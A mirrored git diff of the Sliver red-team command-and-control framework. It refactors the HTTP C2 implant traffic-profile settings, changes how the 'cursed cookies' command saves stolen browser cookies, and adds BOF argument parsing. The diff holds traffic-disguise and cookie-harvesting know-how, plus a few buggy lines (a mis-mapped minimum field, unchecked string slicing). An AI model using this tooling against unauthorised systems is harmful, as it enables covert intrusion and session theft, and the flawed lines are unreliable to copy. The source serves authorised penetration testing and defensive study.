mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 01:38:17 -10:00
Compare commits
77
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d985564198 | ||
|
|
c1b5a3f7b4 | ||
|
|
3411b438b6 | ||
|
|
40bc0d6464 | ||
|
|
b0639275f4 | ||
|
|
6216cd1dc6 | ||
|
|
78e6b3a9b3 | ||
|
|
509d1b46ff | ||
|
|
f06b2c2192 | ||
|
|
4138ddd84a | ||
|
|
e9a300bab2 | ||
|
|
6edd10a010 | ||
|
|
b438df4db9 | ||
|
|
49eab476bb | ||
|
|
8976654010 | ||
|
|
a78b8c2097 | ||
|
|
5709bb9a24 | ||
|
|
25668a6d82 | ||
|
|
3ae8353030 | ||
|
|
a3d053bde5 | ||
|
|
7e27a18245 | ||
|
|
6d09b27c85 | ||
|
|
c389bac46e | ||
|
|
fae8e77665 | ||
|
|
38cf0aeb8b | ||
|
|
a755750a89 | ||
|
|
555ee5c63d | ||
|
|
0fc51677c1 | ||
|
|
cc1c7a5364 | ||
|
|
d1fa99d6eb | ||
|
|
6697801f59 | ||
|
|
32fa69356c | ||
|
|
c42d754e72 | ||
|
|
e4babaf471 | ||
|
|
da196a789d | ||
|
|
6a656d63ab | ||
|
|
b0e226199a | ||
|
|
7cce6b17b2 | ||
|
|
d07aae4d0b | ||
|
|
f4a2ba536c | ||
|
|
2bbd69719d | ||
|
|
cf4ff14342 | ||
|
|
ae3a2fd51e | ||
|
|
d14ba3d35f | ||
|
|
10ef8b3e88 | ||
|
|
4bc65e2193 | ||
|
|
a45a5795d3 | ||
|
|
e1c5b77db4 | ||
|
|
280d08d074 | ||
|
|
1d55b34b62 | ||
|
|
d32302a1ab | ||
|
|
2eabfc255b | ||
|
|
d0375da6e4 | ||
|
|
4523c83b89 | ||
|
|
1decc7f462 | ||
|
|
f97a1e3fdf | ||
|
|
1e12ea3242 | ||
|
|
8919bc3b07 | ||
|
|
1a2b392d20 | ||
|
|
11a6584973 | ||
|
|
1e06fe6612 | ||
|
|
65ee18026e | ||
|
|
9c1617c213 | ||
|
|
d74067ddff | ||
|
|
60772c7659 | ||
|
|
25a70e6e4f | ||
|
|
a89675d961 | ||
|
|
0f340a25cf | ||
|
|
9cdc326b57 | ||
|
|
3faabd36c1 | ||
|
|
113ef5d7d0 | ||
|
|
9fa1e15425 | ||
|
|
2d9a46543d | ||
|
|
e5e589e1b0 | ||
|
|
2e0fab3a71 | ||
|
|
2f486be19c | ||
|
|
85868e5b8f |
No files matched your search
+2
-2
@@ -9,7 +9,7 @@
|
||||
|
||||
# STAGE: base
|
||||
## Compiles Sliver for use
|
||||
FROM golang:1.22.5 AS base
|
||||
FROM golang:1.23.5 AS base
|
||||
|
||||
### Base packages
|
||||
RUN apt-get update --fix-missing && apt-get -y install \
|
||||
@@ -91,7 +91,7 @@ ENTRYPOINT [ "/opt/sliver-server" ]
|
||||
|
||||
|
||||
# STAGE: production-slim (about 1Gb smaller)
|
||||
FROM debian:bookworm-slim as production-slim
|
||||
FROM debian:bookworm-slim AS production-slim
|
||||
|
||||
### Install production packages
|
||||
RUN apt-get update --fix-missing \
|
||||
|
||||
+11
-24
@@ -57,30 +57,17 @@ type HTTPC2ImplantConfig struct {
|
||||
NonceQueryArgChars string `json:"nonce_query_args"`
|
||||
URLParameters []NameValueProbability `json:"url_parameters"`
|
||||
Headers []NameValueProbability `json:"headers"`
|
||||
NonceQueryLength int `json:"nonce_query_length"`
|
||||
NonceMode string `json:"nonce_mode"`
|
||||
|
||||
MaxFiles int `json:"max_files"`
|
||||
MinFiles int `json:"min_files"`
|
||||
MaxPaths int `json:"max_paths"`
|
||||
MinPaths int `json:"min_paths"`
|
||||
MaxFileGen int `json:"max_files"`
|
||||
MinFileGen int `json:"min_files"`
|
||||
MaxPathGen int `json:"max_paths"`
|
||||
MinPathGen int `json:"min_paths"`
|
||||
MaxPathLength int `json:"max_path_length"`
|
||||
MinPathLength int `json:"min_path_length"`
|
||||
|
||||
// Stager files and paths
|
||||
StagerFileExt string `json:"stager_file_ext"`
|
||||
StagerFiles []string `json:"stager_files"`
|
||||
StagerPaths []string `json:"stager_paths"`
|
||||
|
||||
// Poll files and paths
|
||||
PollFileExt string `json:"poll_file_ext"`
|
||||
PollFiles []string `json:"poll_files"`
|
||||
PollPaths []string `json:"poll_paths"`
|
||||
|
||||
// Session files and paths
|
||||
StartSessionFileExt string `json:"start_session_file_ext"`
|
||||
SessionFileExt string `json:"session_file_ext"`
|
||||
SessionFiles []string `json:"session_files"`
|
||||
SessionPaths []string `json:"session_paths"`
|
||||
|
||||
// Close session files and paths
|
||||
CloseFileExt string `json:"close_file_ext"`
|
||||
CloseFiles []string `json:"close_files"`
|
||||
ClosePaths []string `json:"close_paths"`
|
||||
Extensions []string `json:"extensions"`
|
||||
Files []string `json:"files"`
|
||||
Paths []string `json:"paths"`
|
||||
}
|
||||
@@ -23,7 +23,6 @@ import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"math/rand"
|
||||
"net/url"
|
||||
"os"
|
||||
"path"
|
||||
@@ -67,7 +66,6 @@ func C2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
|
||||
}
|
||||
|
||||
func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
protocols := []string{constants.HttpStr, constants.HttpsStr}
|
||||
profileName, _ := cmd.Flags().GetString("name")
|
||||
if profileName == "" {
|
||||
con.PrintErrorf("Invalid c2 profile name\n")
|
||||
@@ -103,29 +101,6 @@ func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []st
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Restart HTTP/S jobs?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if confirm {
|
||||
var restartJobReq clientpb.RestartJobReq
|
||||
jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// reload jobs to include new profile
|
||||
for _, job := range jobs.Active {
|
||||
if job != nil && slices.Contains(protocols, job.Name) {
|
||||
restartJobReq.JobIDs = append(restartJobReq.JobIDs, job.ID)
|
||||
}
|
||||
}
|
||||
|
||||
_, err = con.Rpc.RestartJobs(context.Background(), &restartJobReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func ExportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
@@ -201,23 +176,6 @@ func GenerateC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []
|
||||
return
|
||||
}
|
||||
|
||||
c2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
var extensions []string
|
||||
for _, c2profile := range c2Profiles.Configs {
|
||||
confProfile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: c2profile.Name})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
extensions = append(extensions, confProfile.ImplantConfig.StagerFileExtension)
|
||||
extensions = append(extensions, confProfile.ImplantConfig.StartSessionFileExtension)
|
||||
}
|
||||
|
||||
config, err := C2ConfigToJSON(profileName, profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
@@ -243,7 +201,7 @@ func GenerateC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []
|
||||
}
|
||||
urls := strings.Split(string(fileContent), "\n")
|
||||
|
||||
jsonProfile, err := updateC2Profile(extensions, config, urls)
|
||||
jsonProfile, err := updateC2Profile(config, urls)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -264,26 +222,26 @@ func GenerateC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []
|
||||
}
|
||||
con.Println("C2 profile generated and saved as ", profileName)
|
||||
} else {
|
||||
PrintC2Profiles(profile, con)
|
||||
PrintC2Profiles(C2ConfigToProtobuf(profileName, jsonProfile), con)
|
||||
}
|
||||
}
|
||||
|
||||
// convert protobuf to json
|
||||
func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) (*assets.HTTPC2Config, error) {
|
||||
implantConfig := assets.HTTPC2ImplantConfig{
|
||||
UserAgent: profile.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: int(profile.ImplantConfig.ChromeBaseVersion),
|
||||
MacOSVersion: profile.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: profile.ImplantConfig.NonceQueryArgChars,
|
||||
MaxFiles: int(profile.ImplantConfig.MaxFiles),
|
||||
MinFiles: int(profile.ImplantConfig.MinFiles),
|
||||
MaxPaths: int(profile.ImplantConfig.MaxPaths),
|
||||
MinPaths: int(profile.ImplantConfig.MinFiles),
|
||||
StagerFileExt: profile.ImplantConfig.StagerFileExtension,
|
||||
PollFileExt: profile.ImplantConfig.PollFileExtension,
|
||||
StartSessionFileExt: profile.ImplantConfig.StartSessionFileExtension,
|
||||
SessionFileExt: profile.ImplantConfig.SessionFileExtension,
|
||||
CloseFileExt: profile.ImplantConfig.CloseFileExtension,
|
||||
UserAgent: profile.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: int(profile.ImplantConfig.ChromeBaseVersion),
|
||||
MacOSVersion: profile.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: profile.ImplantConfig.NonceQueryArgChars,
|
||||
NonceQueryLength: int(profile.ImplantConfig.NonceQueryLength),
|
||||
NonceMode: profile.ImplantConfig.NonceMode,
|
||||
MaxFileGen: int(profile.ImplantConfig.MaxFileGen),
|
||||
MinFileGen: int(profile.ImplantConfig.MinFileGen),
|
||||
MaxPathGen: int(profile.ImplantConfig.MaxPathGen),
|
||||
MinPathGen: int(profile.ImplantConfig.MinFileGen),
|
||||
MaxPathLength: int(profile.ImplantConfig.MaxPathLength),
|
||||
MinPathLength: int(profile.ImplantConfig.MinPathLength),
|
||||
Extensions: profile.ImplantConfig.Extensions,
|
||||
}
|
||||
|
||||
var headers []assets.NameValueProbability
|
||||
@@ -308,50 +266,19 @@ func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) (*assets
|
||||
implantConfig.URLParameters = urlParameters
|
||||
|
||||
var (
|
||||
stagerFiles []string
|
||||
pollFiles []string
|
||||
sessionFiles []string
|
||||
closeFiles []string
|
||||
stagerPaths []string
|
||||
pollPaths []string
|
||||
sessionPaths []string
|
||||
closePaths []string
|
||||
files []string
|
||||
paths []string
|
||||
)
|
||||
|
||||
for _, pathSegment := range profile.ImplantConfig.PathSegments {
|
||||
if pathSegment.IsFile {
|
||||
switch pathSegment.SegmentType {
|
||||
case 0:
|
||||
pollFiles = append(pollFiles, pathSegment.Value)
|
||||
case 1:
|
||||
sessionFiles = append(sessionFiles, pathSegment.Value)
|
||||
case 2:
|
||||
closeFiles = append(closeFiles, pathSegment.Value)
|
||||
case 3:
|
||||
stagerFiles = append(stagerFiles, pathSegment.Value)
|
||||
}
|
||||
files = append(files, pathSegment.Value)
|
||||
} else {
|
||||
switch pathSegment.SegmentType {
|
||||
case 0:
|
||||
pollPaths = append(pollPaths, pathSegment.Value)
|
||||
case 1:
|
||||
sessionPaths = append(sessionPaths, pathSegment.Value)
|
||||
case 2:
|
||||
closePaths = append(closePaths, pathSegment.Value)
|
||||
case 3:
|
||||
stagerPaths = append(stagerPaths, pathSegment.Value)
|
||||
}
|
||||
paths = append(paths, pathSegment.Value)
|
||||
}
|
||||
}
|
||||
|
||||
implantConfig.PollFiles = pollFiles
|
||||
implantConfig.SessionFiles = sessionFiles
|
||||
implantConfig.CloseFiles = closeFiles
|
||||
implantConfig.StagerFiles = stagerFiles
|
||||
implantConfig.PollPaths = pollPaths
|
||||
implantConfig.SessionPaths = sessionPaths
|
||||
implantConfig.ClosePaths = closePaths
|
||||
implantConfig.StagerPaths = stagerPaths
|
||||
implantConfig.Files = files
|
||||
implantConfig.Paths = paths
|
||||
|
||||
var serverHeaders []assets.NameValueProbability
|
||||
for _, header := range profile.ServerConfig.Headers {
|
||||
@@ -390,68 +317,17 @@ func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *client
|
||||
pathSegments := []*clientpb.HTTPC2PathSegment{}
|
||||
|
||||
// files
|
||||
for _, poll := range config.ImplantConfig.PollFiles {
|
||||
for _, file := range config.ImplantConfig.Files {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 0,
|
||||
Value: poll,
|
||||
IsFile: true,
|
||||
Value: file,
|
||||
})
|
||||
}
|
||||
|
||||
for _, session := range config.ImplantConfig.SessionFiles {
|
||||
for _, path := range config.ImplantConfig.Paths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 1,
|
||||
Value: session,
|
||||
})
|
||||
}
|
||||
|
||||
for _, close := range config.ImplantConfig.CloseFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 2,
|
||||
Value: close,
|
||||
})
|
||||
}
|
||||
|
||||
for _, stager := range config.ImplantConfig.StagerFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 3,
|
||||
Value: stager,
|
||||
})
|
||||
}
|
||||
|
||||
// paths
|
||||
for _, poll := range config.ImplantConfig.PollPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 0,
|
||||
Value: poll,
|
||||
})
|
||||
}
|
||||
|
||||
for _, session := range config.ImplantConfig.SessionPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 1,
|
||||
Value: session,
|
||||
})
|
||||
}
|
||||
|
||||
for _, close := range config.ImplantConfig.ClosePaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 2,
|
||||
Value: close,
|
||||
})
|
||||
}
|
||||
|
||||
for _, stager := range config.ImplantConfig.StagerPaths {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: false,
|
||||
SegmentType: 3,
|
||||
Value: stager,
|
||||
IsFile: false,
|
||||
Value: path,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -474,22 +350,22 @@ func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *client
|
||||
}
|
||||
|
||||
implantConfig := &clientpb.HTTPC2ImplantConfig{
|
||||
UserAgent: config.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion),
|
||||
MacOSVersion: config.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars,
|
||||
ExtraURLParameters: httpC2UrlParameters,
|
||||
Headers: httpC2Headers,
|
||||
MaxFiles: int32(config.ImplantConfig.MaxFiles),
|
||||
MinFiles: int32(config.ImplantConfig.MinFiles),
|
||||
MaxPaths: int32(config.ImplantConfig.MaxPaths),
|
||||
MinPaths: int32(config.ImplantConfig.MinFiles),
|
||||
StagerFileExtension: config.ImplantConfig.StagerFileExt,
|
||||
PollFileExtension: config.ImplantConfig.PollFileExt,
|
||||
StartSessionFileExtension: config.ImplantConfig.StartSessionFileExt,
|
||||
SessionFileExtension: config.ImplantConfig.SessionFileExt,
|
||||
CloseFileExtension: config.ImplantConfig.CloseFileExt,
|
||||
PathSegments: pathSegments,
|
||||
UserAgent: config.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion),
|
||||
MacOSVersion: config.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars,
|
||||
NonceQueryLength: int32(config.ImplantConfig.NonceQueryLength),
|
||||
NonceMode: config.ImplantConfig.NonceMode,
|
||||
ExtraURLParameters: httpC2UrlParameters,
|
||||
Headers: httpC2Headers,
|
||||
MaxFileGen: int32(config.ImplantConfig.MaxFileGen),
|
||||
MinFileGen: int32(config.ImplantConfig.MinFileGen),
|
||||
MaxPathGen: int32(config.ImplantConfig.MaxPathGen),
|
||||
MinPathGen: int32(config.ImplantConfig.MinPathGen),
|
||||
MaxPathLength: int32(config.ImplantConfig.MaxPathLength),
|
||||
MinPathLength: int32(config.ImplantConfig.MinPathLength),
|
||||
Extensions: config.ImplantConfig.Extensions,
|
||||
PathSegments: pathSegments,
|
||||
}
|
||||
|
||||
// Server Config
|
||||
@@ -599,96 +475,65 @@ func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient)
|
||||
"Nonce query arg chars",
|
||||
profile.ImplantConfig.NonceQueryArgChars,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Nonce query length",
|
||||
profile.ImplantConfig.NonceQueryLength,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Nonce mode",
|
||||
profile.ImplantConfig.NonceMode,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Max files",
|
||||
profile.ImplantConfig.MaxFiles,
|
||||
profile.ImplantConfig.MaxFileGen,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Min files",
|
||||
profile.ImplantConfig.MinFiles,
|
||||
profile.ImplantConfig.MinFileGen,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Max paths",
|
||||
profile.ImplantConfig.MaxPaths,
|
||||
profile.ImplantConfig.MaxPathGen,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Min paths",
|
||||
profile.ImplantConfig.MinPaths,
|
||||
profile.ImplantConfig.MinPathGen,
|
||||
})
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Stager file extension",
|
||||
profile.ImplantConfig.StagerFileExtension,
|
||||
"Max path length",
|
||||
profile.ImplantConfig.MaxPathLength,
|
||||
})
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Start session file extension",
|
||||
profile.ImplantConfig.StartSessionFileExtension,
|
||||
"Min path length",
|
||||
profile.ImplantConfig.MinPathLength,
|
||||
})
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Session file extension",
|
||||
profile.ImplantConfig.SessionFileExtension,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Poll file extension",
|
||||
profile.ImplantConfig.PollFileExtension,
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Close file extension",
|
||||
profile.ImplantConfig.CloseFileExtension,
|
||||
"File extensions",
|
||||
strings.Join(profile.ImplantConfig.Extensions, ","),
|
||||
})
|
||||
|
||||
var (
|
||||
pollPaths []string
|
||||
pollFiles []string
|
||||
sessionPaths []string
|
||||
sessionFiles []string
|
||||
closePaths []string
|
||||
closeFiles []string
|
||||
paths []string
|
||||
files []string
|
||||
)
|
||||
for _, segment := range profile.ImplantConfig.PathSegments {
|
||||
if segment.IsFile {
|
||||
switch segment.SegmentType {
|
||||
case 0:
|
||||
pollFiles = append(pollFiles, segment.Value)
|
||||
case 1:
|
||||
sessionFiles = append(sessionFiles, segment.Value)
|
||||
case 2:
|
||||
closeFiles = append(closeFiles, segment.Value)
|
||||
}
|
||||
files = append(files, segment.Value)
|
||||
} else {
|
||||
switch segment.SegmentType {
|
||||
case 0:
|
||||
pollPaths = append(pollPaths, segment.Value)
|
||||
case 1:
|
||||
sessionPaths = append(sessionPaths, segment.Value)
|
||||
case 2:
|
||||
closePaths = append(closePaths, segment.Value)
|
||||
}
|
||||
paths = append(paths, segment.Value)
|
||||
}
|
||||
}
|
||||
|
||||
tw.AppendRow(table.Row{
|
||||
"Poll paths",
|
||||
strings.Join(pollPaths[:], ","),
|
||||
"Paths",
|
||||
strings.Join(paths[:], ",")[:50] + "...",
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Poll files",
|
||||
strings.Join(pollFiles[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Session paths",
|
||||
strings.Join(sessionPaths[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Session files",
|
||||
strings.Join(sessionFiles[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Close paths",
|
||||
strings.Join(closePaths[:], ","),
|
||||
})
|
||||
tw.AppendRow(table.Row{
|
||||
"Close files",
|
||||
strings.Join(closeFiles[:], ","),
|
||||
"Files",
|
||||
strings.Join(files[:], ",")[:50] + "...",
|
||||
})
|
||||
|
||||
con.Println(tw.Render())
|
||||
@@ -711,14 +556,13 @@ func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
|
||||
return c2profile
|
||||
}
|
||||
|
||||
func updateC2Profile(usedExtensions []string, template *assets.HTTPC2Config, urls []string) (*assets.HTTPC2Config, error) {
|
||||
func updateC2Profile(template *assets.HTTPC2Config, urls []string) (*assets.HTTPC2Config, error) {
|
||||
// update the template with the urls
|
||||
|
||||
var (
|
||||
paths []string
|
||||
filenames []string
|
||||
extensions []string
|
||||
filteredExtensions []string
|
||||
paths []string
|
||||
filenames []string
|
||||
extensions []string
|
||||
)
|
||||
|
||||
for _, urlPath := range urls {
|
||||
@@ -747,23 +591,13 @@ func updateC2Profile(usedExtensions []string, template *assets.HTTPC2Config, url
|
||||
slices.Sort(extensions)
|
||||
extensions = slices.Compact(extensions)
|
||||
|
||||
for _, extension := range extensions {
|
||||
if !slices.Contains(usedExtensions, extension) {
|
||||
filteredExtensions = append(filteredExtensions, extension)
|
||||
}
|
||||
}
|
||||
|
||||
slices.Sort(paths)
|
||||
paths = slices.Compact(paths)
|
||||
|
||||
slices.Sort(filenames)
|
||||
filenames = slices.Compact(filenames)
|
||||
|
||||
// 5 is arbitrarily used as a minimum value, it only has to be 5 for the extensions, the others can be lower
|
||||
if len(filteredExtensions) < 5 {
|
||||
return nil, fmt.Errorf("got %d unused extensions, need at least 5", len(filteredExtensions))
|
||||
}
|
||||
|
||||
// 5 is arbitrarily used as a minimum value
|
||||
if len(paths) < 5 {
|
||||
return nil, fmt.Errorf("got %d paths need at least 5", len(paths))
|
||||
}
|
||||
@@ -772,53 +606,8 @@ func updateC2Profile(usedExtensions []string, template *assets.HTTPC2Config, url
|
||||
return nil, fmt.Errorf("got %d paths need at least 5", len(filenames))
|
||||
}
|
||||
|
||||
// shuffle extensions
|
||||
for i := len(extensions) - 1; i > 0; i-- {
|
||||
j := rand.Intn(i + 1)
|
||||
extensions[i], extensions[j] = extensions[j], extensions[i]
|
||||
}
|
||||
|
||||
template.ImplantConfig.PollFileExt = extensions[0]
|
||||
template.ImplantConfig.StagerFileExt = extensions[1]
|
||||
template.ImplantConfig.StartSessionFileExt = extensions[2]
|
||||
template.ImplantConfig.SessionFileExt = extensions[3]
|
||||
template.ImplantConfig.CloseFileExt = extensions[4]
|
||||
|
||||
// randomly distribute the paths and filenames into the different segment types
|
||||
template.ImplantConfig.CloseFiles = []string{}
|
||||
template.ImplantConfig.SessionFiles = []string{}
|
||||
template.ImplantConfig.PollFiles = []string{}
|
||||
template.ImplantConfig.StagerFiles = []string{}
|
||||
template.ImplantConfig.ClosePaths = []string{}
|
||||
template.ImplantConfig.SessionPaths = []string{}
|
||||
template.ImplantConfig.PollPaths = []string{}
|
||||
template.ImplantConfig.StagerPaths = []string{}
|
||||
|
||||
for _, path := range paths {
|
||||
switch rand.Intn(4) {
|
||||
case 0:
|
||||
template.ImplantConfig.PollPaths = append(template.ImplantConfig.PollPaths, path)
|
||||
case 1:
|
||||
template.ImplantConfig.SessionPaths = append(template.ImplantConfig.SessionPaths, path)
|
||||
case 2:
|
||||
template.ImplantConfig.ClosePaths = append(template.ImplantConfig.ClosePaths, path)
|
||||
case 3:
|
||||
template.ImplantConfig.StagerPaths = append(template.ImplantConfig.StagerPaths, path)
|
||||
}
|
||||
}
|
||||
|
||||
for _, filename := range filenames {
|
||||
switch rand.Intn(4) {
|
||||
case 0:
|
||||
template.ImplantConfig.PollFiles = append(template.ImplantConfig.PollFiles, filename)
|
||||
case 1:
|
||||
template.ImplantConfig.SessionFiles = append(template.ImplantConfig.SessionFiles, filename)
|
||||
case 2:
|
||||
template.ImplantConfig.CloseFiles = append(template.ImplantConfig.CloseFiles, filename)
|
||||
case 3:
|
||||
template.ImplantConfig.StagerFiles = append(template.ImplantConfig.StagerFiles, filename)
|
||||
}
|
||||
}
|
||||
|
||||
template.ImplantConfig.Extensions = extensions
|
||||
template.ImplantConfig.Paths = paths
|
||||
template.ImplantConfig.Files = filenames
|
||||
return template, nil
|
||||
}
|
||||
@@ -21,9 +21,10 @@ package cursed
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"encoding/json"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -46,24 +47,24 @@ func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
|
||||
if len(cookies) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
saveFile, _ := cmd.Flags().GetString("save")
|
||||
if saveFile == "" {
|
||||
saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
|
||||
}
|
||||
jsonCookies := []string{}
|
||||
for _, cookie := range cookies {
|
||||
jsonCookie, err := cookie.MarshalJSON()
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to marshal cookie: %s\n", err)
|
||||
continue
|
||||
}
|
||||
jsonCookies = append(jsonCookies, string(jsonCookie))
|
||||
|
||||
jsonBytes, err := json.MarshalIndent(cookies, "", " ")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to marshal cookies: %s\n", err)
|
||||
return
|
||||
}
|
||||
err = os.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0o600)
|
||||
|
||||
err = os.WriteFile(saveFile, jsonBytes, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save cookies: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Saved to %s", saveFile)
|
||||
con.Println()
|
||||
}
|
||||
@@ -0,0 +1,413 @@
|
||||
package extensions
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"flag"
|
||||
"fmt"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// ParseFlagArgumentsToBuffer parses flag-style arguments based on extension manifest
|
||||
// and converts them to a BOF-compatible binary buffer
|
||||
func ParseFlagArgumentsToBuffer(_ *cobra.Command, args []string, _ string, ext *ExtCommand) ([]byte, error) {
|
||||
// Create a flag set and parse the arguments
|
||||
fs, stringValues, wstringValues, intValues, shortValues, fileValues, err := bofSetupAndParseFlags(args, ext)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Print debug information about parsed flags
|
||||
//bofDebugPrintParsedFlags(fs, ext, stringValues, wstringValues, intValues, shortValues, fileValues)
|
||||
|
||||
// Initialize the BOF arguments buffer
|
||||
argsBuffer := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
|
||||
// Process arguments and build the buffer
|
||||
missingRequiredArgs, err := bofProcessArgumentsToBuffer(fs, ext, argsBuffer,
|
||||
stringValues, wstringValues, intValues, shortValues, fileValues)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Return error if we have missing required arguments
|
||||
if len(missingRequiredArgs) > 0 {
|
||||
return nil, fmt.Errorf("required arguments %s were not provided", strings.Join(missingRequiredArgs, ", "))
|
||||
}
|
||||
|
||||
// Get the final binary buffer
|
||||
parsedArgs, err := argsBuffer.GetBuffer()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to get buffer: %v", err)
|
||||
}
|
||||
|
||||
return parsedArgs, nil
|
||||
}
|
||||
|
||||
// bofSetupAndParseFlags creates a flag set, defines expected flags based on the extension manifest,
|
||||
// and parses the provided arguments
|
||||
func bofSetupAndParseFlags(args []string, ext *ExtCommand) (*flag.FlagSet,
|
||||
map[string]*string, map[string]*string, map[string]*int, map[string]*int, map[string]*string, error) {
|
||||
|
||||
// Create a new FlagSet
|
||||
fs := flag.NewFlagSet("sliver-bof", flag.ContinueOnError)
|
||||
|
||||
// Maps to store flag value pointers
|
||||
stringValues := make(map[string]*string)
|
||||
intValues := make(map[string]*int)
|
||||
shortValues := make(map[string]*int)
|
||||
fileValues := make(map[string]*string) // Path to file data
|
||||
wstringValues := make(map[string]*string)
|
||||
|
||||
// Define expected flags based on manifest arguments
|
||||
for _, arg := range ext.Arguments {
|
||||
flagName := arg.Name
|
||||
flagDesc := arg.Desc
|
||||
|
||||
switch arg.Type {
|
||||
case "string":
|
||||
stringValues[flagName] = fs.String(flagName, "", flagDesc)
|
||||
case "wstring":
|
||||
wstringValues[flagName] = fs.String(flagName, "", flagDesc)
|
||||
case "int", "integer":
|
||||
intValues[flagName] = fs.Int(flagName, 0, flagDesc)
|
||||
case "short":
|
||||
shortValues[flagName] = fs.Int(flagName, 0, flagDesc)
|
||||
